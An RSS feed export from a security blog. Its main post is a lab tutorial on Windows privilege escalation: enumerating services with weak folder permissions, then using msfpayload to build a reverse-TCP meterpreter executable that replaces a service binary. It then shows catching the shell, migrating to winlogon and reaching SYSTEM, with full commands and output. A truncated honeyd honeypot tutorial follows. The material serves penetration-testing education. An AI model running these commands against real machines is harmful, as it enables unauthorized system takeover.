<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title />
	
	<link>http://travisaltman.com</link>
	<description />
	<lastBuildDate>Sat, 24 Mar 2012 04:16:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/travisaltman" /><feedburner:info uri="travisaltman" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>windows privilege escalation via weak service permissions</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/tF9IIJs4SvU/</link>
		<comments>http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 04:16:19 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=550</guid>
		<description><![CDATA[When performing security testing on a Windows environment, or any environment for that matter, one of the things you&#8217;ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles [...]]]></description>
			<content:encoded><![CDATA[<p>When performing security testing on a Windows environment, or any environment for that matter, one of the things you&#8217;ll need to check is if you can escalate your privileges from a low privilege user to a high privileged user. No matter what environment you are testing there are going to be a range or roles with varying privileges, for the most part on a local windows environment there going to be three roles / privileged users.</p>
<p>1. System<br />
2. Administrator<br />
3. Regular user</p>
<p>Most people would think administrator has the highest privilege but actually it&#8217;s the system account. A regular user is typically the most limited role which may be so limited that it can&#8217;t even install software. In the previous paragraph I mentioned &#8220;local windows environment&#8221; that&#8217;s because when it comes to a network or <a href="http://en.wikipedia.org/wiki/Active_Directory" target="_blank">active directory</a> environment you have to take other things into consideration. The scenario I&#8217;ll be going over involves a single install of a windows operating system.</p>
<p>So let&#8217;s say you&#8217;re performing  a security test on a system / environment where all you&#8217;re given is a low level privileged account but you want to try and escalate those privileges so that you can get &#8220;system&#8221; level privileges, what do you do? There are a number of routes you can take. <a href="http://www.netspi.com/blog/author/ssutherland/" target="_blank">Scott Sutherland</a> has written a nice article on <a href="http://www.netspi.com/blog/2009/10/05/windows-privilege-escalation-part-1-local-administrator-privileges/" target="_blank">windows privilege escalation</a> and some of the techniques that you can try. Also the guys over at <a href="http://www.insomniasec.com/" target="_blank">insomniasec.com</a> have put together a <a href="https://docs.google.com/viewer?url=http://www.insomniasec.com/publications/WindowsPrivEsc.ppt&amp;pli=1" target="_blank">nice document</a> as well that talks about windows privilege escalation. Last but certainly not least <a href="http://pentestmonkey.net/tools/windows-privesc-check" target="_blank">pentestmonkey has written a python script</a> that will search the system for potential areas of privilege escalation and report back.</p>
<p>Obviously the technique I&#8217;m going to be discussing is leveraging windows services that have low or weak permissions. For those that aren&#8217;t aware a <a href="http://en.wikipedia.org/wiki/Windows_service" target="_blank">windows service</a> is a process that is ran in the background and a regular user would never know that this process is running unless they specifically checked for it, meaning there is no &#8220;window&#8221; or <a href="http://www.linfo.org/gui.html" target="_blank">GUI</a> associated with a service. But a service is just like a process in the fact that it&#8217;s an executable. You can determine all the services on your machine by using the &#8220;wmic&#8221; command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic service list brief</div></div>
<p>Your output should be similar to below, I&#8217;ve snipped the output for brevity.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">... snip ...<br />
<br />
1077      WMPNetworkSvc                   0          Manual     Stopped  OK<br />
<br />
1077      WPCSvc                          0          Manual     Stopped  OK<br />
<br />
0         WPDBusEnum                      0          Manual     Stopped  OK<br />
<br />
0         wscsvc                          752        Auto       Running  OK<br />
<br />
0         WSearch                         2140       Auto       Running  OK<br />
<br />
0         wuauserv                        856        Auto       Running  OK</div></div>
<p>First column is the exit code, second column is the name of the service, third column is the process ID (PID) of the service, fourth column states how the service is to be started (start mode), fifth column states if the process is running (state), and the last column gives the status of the service itself. You can also right click on your taskbar, same bar as the start menu, then select task manager. Within the task manager you can select the &#8220;services&#8221; tab to see this same information, keep in mind there is no services tab within the task manager for XP for this scenario I&#8217;m using windows 7.</p>
<p><a href="http://travisaltman.com/wp-content/services.png"><img class="aligncenter size-full wp-image-558" title="services" src="http://travisaltman.com/wp-content/services.png" alt="" width="691" height="196" /></a></p>
<p>So now that you know how to determine what services are available and running on a particular machine how can we determine if they have &#8220;weak permissions&#8221;? By weak permissions I mean the folder where the service EXE is allows &#8220;write&#8221; access. Having write access allows me to replace that executable with my malicious executable, start the service and voila I&#8217;ve got access. That&#8217;s it in a nutshell but let&#8217;s walk through the steps to quickly determine which services are vulnerable and how to attack that vulnerable weak service permission.</p>
<p>On a windows machine there can be a ton of services, going through each folder where the service executable is located, right clicking and determining the permission can be a pain in the butt. First thing we&#8217;ll need to do is run a couple of commands to easily pull all the permissions for all the services.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.ss64.com/nt/for.html"><span style="color: #00b100; font-weight: bold;">for</span></a> /f &quot;tokens=2 delims='='&quot; <span style="color: #33cc33;">%</span><span style="color: #448888;">a</span> <a href="http://www.ss64.com/nt/in.html"><span style="color: #00b100; font-weight: bold;">in</span></a> <span style="color: #33cc33;">(</span>'wmic service list full<span style="color: #33cc33;">^|</span>find /i &quot;pathname&quot;<span style="color: #33cc33;">^|</span>find /i /v &quot;system32&quot;'<span style="color: #33cc33;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color: #00b100; font-weight: bold;">do</span></a> <span style="color: #33cc33;">@</span><a href="http://www.ss64.com/nt/echo.html"><span style="color: #b1b100; font-weight: bold;">echo</span></a> <span style="color: #33cc33;">%</span><span style="color: #448888;">a</span> <span style="color: #33cc33;">&gt;&gt;</span> c:\windows\temp\permissions.txt</div></div>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.ss64.com/nt/for.html"><span style="color: #00b100; font-weight: bold;">for</span></a> /f eol<span style="color: #33cc33;">^=</span><span style="color: #33cc33;">^&quot;</span><span style="color: #33cc33;">^ </span>delims<span style="color: #33cc33;">^=</span><span style="color: #33cc33;">^&quot;</span> <span style="color: #33cc33;">%</span><span style="color: #448888;">a</span> <a href="http://www.ss64.com/nt/in.html"><span style="color: #00b100; font-weight: bold;">in</span></a> <span style="color: #33cc33;">(</span>c:\windows\temp\permissions.txt<span style="color: #33cc33;">)</span> <a href="http://www.ss64.com/nt/do.html"><span style="color: #00b100; font-weight: bold;">do</span></a> cmd.exe /c icacls &quot;<span style="color: #33cc33;">%</span><span style="color: #448888;">a</span>&quot;</div></div>
<p>The first command uses wmic to list the services, looks for the full path of the executable, filters out system32 paths, and then dumps that output to a text file. The second command parses that text file getting rid of some junk in the path name then does the icacls command on that path to determine the permissions on that service executable. A snippet of the output you&#8217;ll see on the command line is below.</p>
<pre class="brush: plain; title: ; notranslate">
&quot; Users\homer&gt;cmd.exe /c icacls &quot;C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe  BUILTIN\IIS_IUSRS:(I)(RX)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer&gt;cmd.exe /c icacls &quot;C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE&quot;
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
WIN-B5JHUDECH2P\homer:(I)(F)

Successfully processed 1 files; Failed processing 0 files

c:\Users\homer&gt;cmd.exe /c icacls &quot;C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE&quot;
C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
</pre>
<p>For my particular commands I&#8217;ve excluded service executables that live in c:\windows\system32 folder because more than likely those folders have the proper permissions because they came packaged with windows. The services I&#8217;m more interested in are third party applications because they get installed by a user and either the user improperly configures the folder permissions or during the install the application misconfigures the folder permissions. So this is the main reason why I filter out c:\windows\system32 but if you wanted to include that simply remove the system32 find statement from the command.</p>
<p>The output of the icacls command can be a little confusing but what you want to look for is if &#8220;BUILTIN\Users&#8221; have full access which will be designated as &#8220;(F)&#8221;. If you have full access to the folder where the service executable lives then you can replace the service executable with your own malicious service executable. So when the service starts, either at boot automatically or manually, your malicious executable will run hopefully giving you full access to the device. So my snippet of output actually has a  service with weak permissions which can also be seen on line 17 in the output above.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">C:\Users\homer<span style="color: #33cc33;">&gt;</span>cmd.exe /c icacls &quot;C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE&quot;<br />
C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE BUILTIN\Users:<span style="color: #33cc33;">(</span>F<span style="color: #33cc33;">)</span></div></div>
<p>The &#8220;Source Engine&#8221; folder is a standard folder for windows 7 and out of the box has the proper permissions, meaning a regular user will not have write access to that folder. For this demonstration I&#8217;ve manually modified the permissions of the &#8220;Source Engine&#8221; folder to highlight the effect of improper permissions. So now that you&#8217;ve found a folder of a service that allows the write permission it&#8217;s time to insert / upload our malicious executable. The most convenient way I&#8217;ve found is using the <a href="http://www.offensive-security.com/metasploit-unleashed/Msfpayload" target="_blank">msfpayload</a> functionality within metasploit. For the uninitiated and overwhelmed folks that try to deal with metasploit and msfpayload it might just be best to use backtrack. Just grab <a href="http://www.backtrack-linux.org/tutorials/" target="_blank">backtrack</a> which comes with everything installed and ready to go. I&#8217;m not going to go through all of the steps of getting metasploit up and running but if you have any troubles feel free to email me (travisaltman@gmail.com) or post a question in the comments. In backtrack I issue the following commands to create a malicious executable.</p>
<pre class="brush: bash; title: ; notranslate">
root@bt:~# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:0c:29:11:1e:53
inet addr:192.168.134.135  Bcast:192.168.134.255  Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe11:1e53/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:9227 errors:0 dropped:0 overruns:0 frame:0
TX packets:396 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:650604 (650.6 KB)  TX bytes:123409 (123.4 KB)
Interrupt:19 Base address:0x2024

root@bt:~# cd /pentest/exploits/framework
root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.134.135 lport=80 X &gt; exploit.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {&quot;LHOST&quot;=&gt;&quot;192.168.134.135&quot;, &quot;lport&quot;=&gt;&quot;80&quot;}
root@bt:/pentest/exploits/framework#
</pre>
<p>The command on line one is simply trying to determine the IP address of our machine (ifconfig command) and line 3 states that our attacking IP address is 192.168.134.135, we&#8217;ll need this information to create our malicious executable. The next command is on line 12 where you change directories (cd) to the location of the msfpayload command. Line 13 is the most important command which is the actual command we use to create our malicious executable. This command creates a meterpreter payload and the lhost and lport are parameters we set when creating the payload. The lhost is from the output of ifconfig and you can specify any port you like, you don&#8217;t have to include lport because by default it&#8217;s 4444. You don&#8217;t need to know details about <a href="http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient" target="_blank">meterpreter</a> for now think of it as a windows command prompt on steroids. Finally we use the &#8220;&gt; exploit.exe&#8221; to create the malicious executable in the current directory.</p>
<p>Now you have to get that exploit.exe over to your target windows machine. I&#8217;ll leave this up to you but if you run the <a href="http://www.linuxjournal.com/content/tech-tip-really-simple-http-server-python" target="_blank">python simple http server</a> in that current directory then all you have to do on the windows machine is open up internet explorer put in the IP address of your attack machine and download exploit.exe. Next put exploit.exe into the folder with the weak permissions in this case C:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE. You should now have something like this.</p>
<p><a href="http://travisaltman.com/wp-content/beforeExploit.png"><img class="aligncenter size-full wp-image-601" title="beforeExploit" src="http://travisaltman.com/wp-content/beforeExploit.png" alt="" width="323" height="179" /></a></p>
<p>Next rename the original ose.exe to something different and name exploit.exe to ose.exe</p>
<p><a href="http://travisaltman.com/wp-content/renameExploit.png"><img class="aligncenter size-full wp-image-602" title="renameExploit" src="http://travisaltman.com/wp-content/renameExploit.png" alt="" width="299" height="180" /></a></p>
<p>So now we&#8217;ve replaced the original executable with our malicious executable next we&#8217;ll need to fire up metasploit so that it can accept our connection once we run our new executable. So head over to your Linux box and run the msfconsole command.</p>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">root@bt:/pentest/exploits/framework#</span>.<span style="color: #000000; font-weight: bold;">/</span>msfconsole</div></div>
<p>You should now have a &#8220;msf&#8221; console, next run the following commands.</p>
<pre class="brush: bash; title: ; notranslate">
msf &gt; use exploit/multi/handler
msf  exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp
payload =&gt; windows/meterpreter/reverse_tcp
msf  exploit(handler) &gt; set lhost 192.168.134.135
lhost =&gt; 192.168.134.135
msf  exploit(handler) &gt; set lport 80
lport =&gt; 80
msf  exploit(handler) &gt;
</pre>
<p>At this point it&#8217;s always a good idea to do the &#8220;show options&#8221; command to make sure everything is set up correctly.</p>
<pre class="brush: bash; title: ; notranslate">
msf  exploit(handler) &gt; show options

Module options (exploit/multi/handler):

Name  Current Setting  Required  Description
----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     192.168.134.135  yes       The listen address
LPORT     80               yes       The listen port

Exploit target:

Id  Name
--  ----
0   Wildcard Target
</pre>
<p>If everything checks out then you&#8217;re ready to go, now just type &#8220;exploit&#8221;. This will wait until we run the executable on the target machine but when we do it will give us back our meterpreter command prompt.</p>
<pre class="brush: bash; title: ; notranslate">
msf  exploit(handler) &gt; exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...
</pre>
<p>Now on the target windows machine we&#8217;ll need to start the service which will run our malicious executable then connect back to our attack machine giving us a command prompt. So run the <a href="http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/" target="_blank">wmic</a> command below to start the service.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">C:\Users\homer<span style="color: #33cc33;">&gt;</span>wmic service ose <a href="http://www.ss64.com/nt/call.html"><span style="color: #00b100; font-weight: bold;">call</span></a> startservice</div></div>
<p>You should see similar output when you run this command.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Executing <span style="color: #33cc33;">(</span>\\WIN-B5JHUDECH2P\ROOT\CIMV2:Win32_Service.Name=&quot;ose&quot;<span style="color: #33cc33;">)</span>-<span style="color: #33cc33;">&gt;</span>startservice<span style="color: #33cc33;">()</span></div></div>
<p>Once you&#8217;ve started the service now it&#8217;s time to hop back over to your metasploit command prompt to see if we get our meterperter command prompt, you should see the following.</p>
<pre class="brush: bash; title: ; notranslate">
[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 1 opened (192.168.134.135:80 -&gt; 192.168.134.134:49173) at 2012-03-22 23:18:56 -0400

meterpreter &gt;
</pre>
<p>Anytime you get a meterpreter command prompt back that&#8217;s usually a win but wait everything is not as it seems. After about 30 &#8211; 40 seconds I see that my meterpreter session ended.</p>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Meterpreter session <span style="color: #000000;">1</span> closed.  Reason: Died</div></div>
<p>Back on the windows machine there&#8217;s also some output on the command prompt.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Method execution successful.<br />
Out Parameters:<br />
instance of __PARAMETERS<br />
{<br />
ReturnValue = 7;<br />
};</div></div>
<p>The <a href="http://msdn.microsoft.com/en-us/library/windows/desktop/aa393660(v=vs.85).aspx" target="_blank">return value of 7</a> means that the request timed out. So bummer we got this far had a meterpreter prompt, which gives us lots of post exploitation goodness, but lost everything. Don&#8217;t throw in the towel there is a way around this situation. During those 30 &#8211; 40 seconds that we have the meterpreter command prompt we can migrate to another process. The concept of migrating is exactly what it sounds like, instead of hooking into our ose.exe malicious executable service we can hop to another process that is already running with system privileges. First thing you&#8217;ll want to do is list all the processes running on the windows machine to determine the PID of a process that we can migrate to, once again wmic to the rescue.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">wmic process list brief <span style="color: #33cc33;">|</span> find &quot;winlogon&quot;</div></div>
<p>Here you&#8217;ll want to determine the PID of the winlogon.exe process and the fourth column of this output is the PID of the process. Winlogon.exe is a popular executable to migrate to because it&#8217;s always present and runs as the system user. You could easily migrate to another process that runs as system and to determine this you can <a href="http://en.wikipedia.org/wiki/Windows_Task_Manager#Launching_Task_Manager" target="_blank">run the task manager</a> and look for the user that is associated with the process. If at first you don&#8217;t see this make sure to click <a href="http://www.sevenforums.com/system-security/164638-csrss-winlogon.html" target="_blank">&#8220;show process from all users&#8221;</a>. Once you have the PID of the winlogon.exe restart the service by running the wmic service command, ose.exe in this case, then quickly migrate to the winlogon.exe PID within meterpreter. Below is the command within meterpreter to migrate to another process.</p>
<pre class="brush: bash; title: ; notranslate">
meterpreter &gt; migrate 460
[*] Migrating to 460...
[*] Migration completed successfully.
meterpreter &gt;
</pre>
<p>Now we&#8217;ve successfully migrated to a stable process as the system user with a restricted user, this was our ultimate goal. We can determine our current privilege within meterpreter with the following command.</p>
<pre class="brush: bash; title: ; notranslate">
meterpreter &gt; getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter &gt;
</pre>
<p>At this point you have full control of the operating system and you can leverage all the <a href="https://docs.google.com/document/d/1U10isynOpQtrIK6ChuReu-K1WHTJm4fgG3joiuz43rw/edit?hl=en_US&amp;pli=1" target="_blank">post exploitation</a> goodness that you can get your hands on. I don&#8217;t want to go into all the options and features of what to do once you&#8217;ve gained system access to a windows device I&#8217;ll leave that to other folks or a different discussion.</p>
<p>There is one other thing to note about escalating privileges on a windows device. Meterpreter has an option to &#8220;getsystem&#8221; meaning it tries to get system privileges. The getsystem command is only going to work in a handful of scenarios. The two main ways it accomplishes this task is via an unpatched machine or you already have administrative privileges. In the scenario I&#8217;ve described we don&#8217;t have admin privileges and our box is fully patched hence the reason I&#8217;m describing a technique of looking for services with weak permissions. A service that allows full control by a regular user is a misconfiguration so there is no &#8220;patch&#8221; for this scenario where we can get system privileges.</p>
<p>Let&#8217;s take a closer look at the getsystem command, we can do this by simply issuing the command below inside the meterpreter prompt.</p>
<pre class="brush: bash; title: ; notranslate">

meterpreter &gt; getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:

-h        Help Banner.
-t &lt;opt&gt;  The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)
</pre>
<p>Options 1-3 all require admin privileges, which we don&#8217;t have, and option 4 will not work if the system is patched for the kitrap0d exploit. Let&#8217;s just verify that the &#8220;getsystem&#8221; command within meterpreter will not work if we don&#8217;t leverage something like a weak service permission. If you still have your meterpreter prompt go ahead and exit out.</p>
<pre class="brush: bash; title: ; notranslate">

meterpreter &gt; exit
[*] Shutting down Meterpreter...

[*] Meterpreter session 2 closed.  Reason: User exit
msf  exploit(handler) &gt;
</pre>
<p>Now instead of launching our malicious executable from the OSE service let&#8217;s execute exploit.exe, that we moved over earlier to our target windows machine, as a regular user. I saved my exploit.exe on the desktop. Before running exploit.exe as a regular user we need to go back to Linux and start our handler.</p>
<pre class="brush: bash; title: ; notranslate">

msf  exploit(handler) &gt; exploit

[*] Started reverse handler on 192.168.134.135:80
[*] Starting the payload handler...
</pre>
<p>Now on our windows target machine let&#8217;s run our exploit.exe</p>
<pre class="brush: plain; title: ; notranslate">

c:\Users\homer\Desktop&gt;exploit.exe

c:\Users\homer\Desktop&gt;
</pre>
<p>Once we run exploit.exe on our windows target machine you should get back a meterpreter prompt back.</p>
<pre class="brush: bash; title: ; notranslate">

[*] Sending stage (752128 bytes) to 192.168.134.134
[*] Meterpreter session 3 opened (192.168.134.135:80 -&gt; 192.168.134.134:49175) at 2012-03-23 00:29:29 -0400

meterpreter &gt;
</pre>
<p>Now let&#8217;s try the &#8220;getsystem&#8221; command and see what happens.</p>
<div class="codecolorer-container bash blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">meterpreter <span style="color: #000000; font-weight: bold;">&gt;</span> getsystem</div></div>
<p>Here it just hangs and doesn&#8217;t do anything, after about a minute it will finally error out giving the following output.</p>
<pre class="brush: bash; title: ; notranslate">

meterpreter &gt; getsystem
[-] Error running command getsystem: Rex::TimeoutError Operation timed out.
meterpreter &gt;
</pre>
<p>So the getsystem command didn&#8217;t work. This is to be expected because the user (homer is our user) that executed our exploit.exe is a regular user and our windows box is up to date with all the latest patches. If we go back to our windows machine we&#8217;ll see the following error message.</p>
<p><a href="http://travisaltman.com/wp-content/ntvdm.png"><img class="aligncenter size-full wp-image-628" title="ntvdm" src="http://travisaltman.com/wp-content/ntvdm.png" alt="" width="496" height="194" /></a></p>
<p>This error is generated because the kitrap0d exploit fails and the exploit fails because the windows box is up to date with all the latest patches. When you don&#8217;t have admin and the windows box is up to date there is only a handful of options to escalate your privileges and testing for weak permissions is one of those avenues. Going from regular user to a system user can be difficult if everything is properly locked down but going from an admin user to the system user is not that big of a deal. The <a href="http://technet.microsoft.com/en-us/sysinternals/bb897553" target="_blank">sysinternals psexec.exe</a> is another powerful tool every pentester should have in his tool bag. Using psexec as an admin user one can easily become the system user with the &#8220;-s&#8221; option so if you wanted a command prompt with system level privileges all you would have to do is run the following command.</p>
<div class="codecolorer-container dos blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="dos codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">c:\psexec.exe -s cmd.exe</div></div>
<p>After this you&#8217;ll be presented with a command prompt with system level privileges. I mention psexec just to show you how easy it is to become the system user as long as you&#8217;re an admin user. The &#8220;-s&#8221; option of psexec would not work as a regular user only an admin user.</p>
<p>To wrap this all up I simply wanted to highlight one way of escalating your privilege on a windows device. This is simply one method to escalate privileges, there are many like it but this is the one I&#8217;m describing. This method is my best friend. It is my life. I must master it as I must master my life. Oh sorry, didn&#8217;t mean to go all <a href="http://rockmanx.wordpress.com/2008/01/09/memorable-quotes-from-full-metal-jacket/" target="_blank">full metal jacket</a> there. So yes this is one technique and tricks like &#8220;getsystem&#8221; within meterpreter are handy but keep in mind their approaches and how they are trying to achieve privilege escalation.</p>
<p>If you have any feedback about this topic please leave comments below and if you have any other interesting ways of escalating privileges I would love to hear about it. If you slugged your way through this entire article congrats and if you see areas where I could improve please help a brother by pointing out areas where I could improve, thanks.</p>
<img src="http://feeds.feedburner.com/~r/travisaltman/~4/tF9IIJs4SvU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		<feedburner:origLink>http://travisaltman.com/windows-privilege-escalation-via-weak-service-permissions/</feedburner:origLink></item>
		<item>
		<title>Honeypot / honeyd tutorial part 5, email alerts</title>
		<link>http://feedproxy.google.com/~r/travisaltman/~3/zslJxJWlJ00/</link>
		<comments>http://travisaltman.com/honeypot-honeyd-tutorial-part-5-email-alerts/#comments</comments>
		<pubDate>Tue, 14 Feb 2012 05:17:49 +0000</pubDate>
		<dc:creator>travis</dc:creator>
				<category><![CDATA[honeypot]]></category>
		<category><![CDATA[network security]]></category>

		<guid isPermaLink="false">http://travisaltman.com/?p=510</guid>
		<description><![CDATA[So this is the final article in this series of honeypots and honeyd and before I wrap it up I&#8217;ve gotta give big shout outs to Neils Provos the creator of honeyd. Neils has done an excellent job with the honeyd program and his book Virtual Honeypots is hands down the best book about honeypots [...]]]></description>
			<content:encoded><![CDATA[<p>So this is the final article in this series of honeypots and honeyd and before I wrap it up I&#8217;ve gotta give big shout outs to <a href="http://www.citi.umich.edu/u/provos/">Neils Provos</a> the creator of honeyd. Neils has done an excellent job with the honeyd program and his book <a href="http://www.amazon.com/Virtual-Honeypots-Tracking-Intrusion-Detection/dp/0321336321" target="_blank">Virtual Honeypots</a> is hands down the best book about honeypots and I highly recommend picking up a copy. While writing some of these tutorials Neils was even kind enough to answer some of my emails.</p>
<p>Up to this point you hopefully have an understanding on how to get honeyd up and running on your preferred hardware while having the ability to run multiple honeypots in either a static or dhcp environment. Now that everything is running smoothly and you&#8217;ve successfully tested all connectivity you&#8217;ll probably want to start getting alerts from some of the honeypots you&#8217;ve setup and deployed. I&#8217;ve written a small python script that accomplishes this for me so hopefully my explanation of the setup will get you receiving email alerts as well.</p>
<p>So out of the box honeyd doesn&#8217;t natively support getting emails sent to you when your device is port scanned. I really wanted this feature but had to figure out the best way of determining when my honeypot was being scanned. Honeyd has the option of creating a log file so my first idea was to parse this file for items of interest. Below is the command I would use to launch honeyd with the logging option.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">honeyd -d -f honeyd.conf -l /tmp/logfile</div></div>
<p>You should see similar output as below after running the above command.</p>
<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Honeyd V1.5c Copyright (c) 2002-2007 Niels Provos<br />
honeyd[12073]: started with -d -f honeyd.conf -l /tmp/logfile<br />
Warning: Impossible SI range in Class fingerprint &quot;IBM OS/400 V4R2M0&quot;<br />
Warning: Impossible SI range in Class fingerprint &quot;Microsoft Windows NT 4.0 SP3&quot;<br />
honeyd[12073]: listening promiscuously on eth1: (arp or ip proto 47 or (udp and src port 67 and dst port 68) or (ip )) and not ether src 00:0c:29:11:1e:53<br />
honeyd[12073]: [eth1] trying DHCP<br />
honeyd[12073]: Demoting process privileges to uid 65534, gid 65534<br />
honeyd[12073]: [eth1] got DHCP offer: 192.168.134.147<br />
honeyd[12073]: Updating ARP binding: 00:00:24:54:9e:06 -&gt; 192.168.134.147<br />
honeyd[12073]: arp reply 192.168.134.147 is-at 00:00:24:54:9e:06<br />
